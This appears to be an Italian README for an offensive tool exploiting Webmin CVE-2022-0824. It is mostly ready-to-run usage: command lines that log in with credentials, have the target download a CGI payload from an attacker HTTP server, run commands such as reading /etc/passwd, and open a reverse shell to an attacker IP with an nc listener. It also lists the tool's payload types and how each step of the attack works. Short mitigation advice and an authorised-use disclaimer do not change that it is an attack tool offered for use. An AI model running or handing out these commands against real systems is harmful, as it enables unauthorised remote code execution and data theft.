Webmin-CVE-2022-0824-Enhanced-Exploit
[!IMPORTANT]
Strumento di sfruttamento avanzato per Webmin CVE-2022-0824 - Supporta doppia modalità: esecuzione di comandi e reverse shell

[!IMPORTANT]
Uno strumento di sfruttamento avanzato per la vulnerabilità Webmin CVE-2022-0824, supporta due modalità: esecuzione diretta di comandi e reverse shell.
🚀 Caratteristiche
- ✅ Supporto doppia modalità: Modalità esecuzione comandi + Modalità reverse shell
- ✅ Molteplici Payload: Payload Perl, Bash e Python
- ✅ Gestione intelligente dei file: Genera automaticamente nomi file univoci per evitare conflitti
- ✅ Caricamento con sovrascrittura forzata: Gestione automatica della sovrascrittura di file esistenti
- ✅ Molteplici metodi di caricamento: Download HTTP, caricamento diretto, creazione tramite comandi
- ✅ Informazioni dettagliate di debug: Log completi del processo di esecuzione
- ✅ Interfaccia user-friendly: Output colorati e chiare indicazioni di stato
- ID CVE: CVE-2022-0824
- Versioni affette: Webmin < 1.990
- Tipo di vulnerabilità: Esecuzione remota di codice tramite caricamento arbitrario di file
- Punteggio CVSS: 9.8 (Critico)
🛠️ Requisiti di installazione
# Python 3.6+
pip3 install requests urllib3
📖 Istruzioni per l'uso
Modalità esecuzione comandi (consigliata)
# Esecuzione comando base
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "whoami"
# Visualizza informazioni di sistema
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "uname -a"
# Elenca file
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "ls -la /etc"
# Visualizza file sensibili
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "cat /etc/passwd"
# Informazioni di rete
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "netstat -tulnp"
Modalità reverse shell
# 1. Avvia il listener
nc -nlvp 9999
# 2. Esegui l'exploit
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 -L attacker_ip -P 9999
📝 Descrizione dei parametri
| Parametro | Descrizione | Obbligatorio | Esempio |
|---|
-t, --target | URL di destinazione Webmin | ✅ | http://192.168.1.100:10000/ |
-c, --credential | Credenziali di accesso | ✅ | admin:password |
-LS, --py3http_server | Indirizzo del server HTTP | ✅ | 192.168.1.50:8080 |
--shell | Comando da eseguire | ❌ | "ls -la" |
-L, --callback_ip | IP di callback reverse shell | ❌* | 192.168.1.50 |
-P, --callback_port | Porta di callback reverse shell | ❌* | 9999 |
*Nota: richiesta in modalità reverse shell
🎯 Esempi di utilizzo
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "whoami && id && pwd"
Esempio 2: Esplorazione del filesystem
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "find /home -name '*.txt' 2>/dev/null"
Esempio 3: Visualizzazione configurazione di rete
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "ip addr show && route -n"
🔧 Principio di funzionamento
- Autenticazione login: Accedi all'interfaccia di amministrazione Webmin utilizzando le credenziali fornite
- Generazione del payload: Genera uno script CGI appropriato in base alla modalità
- Caricamento del file: Carica il payload tramite la funzione di download HTTP del file manager
- Impostazione permessi: Imposta i permessi di esecuzione per il file caricato
- Esecuzione comandi: Accedi allo script CGI caricato per eseguire comandi o stabilire una connessione inversa
🛡️ Raccomandazioni per la protezione
- Aggiornare Webmin all'ultima versione (>= 1.990)
- Limitare l'accesso di rete all'interfaccia di amministrazione di Webmin
- Utilizzare password forti e autenticazione a due fattori
- Eseguire audit periodici dei log di sistema
- Distribuire un Web Application Firewall (WAF)
⚠️ Dichiarazione di non responsabilità
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e a scopi educativi.
- 🚫 Vietato l'uso su sistemi non autorizzati
- 🚫 Vietato l'uso per attacchi malevoli
- 🚫 L'utente si assume la responsabilità legale
- ✅ Utilizzare solo in ambienti con autorizzazione esplicita
- ✅ Utilizzare per ricerche sulla sicurezza e verifica di vulnerabilità
📚 Dettagli tecnici
Tipi di payload
- Perl CGI: Payload principale, migliore compatibilità
- Bash CGI: Payload di riserva, adatto per sistemi Linux
- Python CGI: Payload di riserva, più ricco di funzionalità
Metodi di caricamento
- Download HTTP: Tramite la funzione di download remoto del file manager Webmin
- Caricamento diretto: Tramite interfaccia di upload file
- Creazione tramite comando: Creazione file tramite comandi di sistema
Strategia di denominazione dei file
- Hash MD5 basato sul contenuto del comando
- Suffisso con timestamp
- Assicurare nomi file diversi per ogni esecuzione
🔄 Registro delle modifiche
v5.0 (2025-08-05)
- ✨ Nuova modalità esecuzione comandi
- 🐛 Risolto problema di sovrascrittura file
- 🔧 Migliorata strategia di denominazione file
- 📈 Migliorata gestione degli errori
v4.0 (basato sull'originale)
- 🎯 Basato sul codice originale di faisalfs10x
- 🔧 Migliorata compatibilità CGI
- 📝 Aggiunti log dettagliati
🤝 Contributi
Benvenuti segnalazioni di issue e Pull Request!
- Forka questo progetto
- Crea un branch per la funzionalità (
git checkout -b feature/AmazingFeature)
- Committa le modifiche (
git commit -m 'Add some AmazingFeature')
- Spingi sul branch (
git push origin feature/AmazingFeature)
- Apri una Pull Request
📄 Licenza
Questo progetto è concesso in licenza MIT - consulta il file LICENSE per i dettagli
🙏 Riconoscimenti
📞 Contatti
Per domande o suggerimenti, contattaci tramite:
- 📧 Apri una Issue su GitHub
- 🐛 Segnala problemi di sicurezza tramite messaggio privato
⭐ Se questo progetto ti è utile, dai una stella per supportarlo!
🔗 Link correlati
requirements.txt
requests>=2.25.1
urllib3>=1.26.0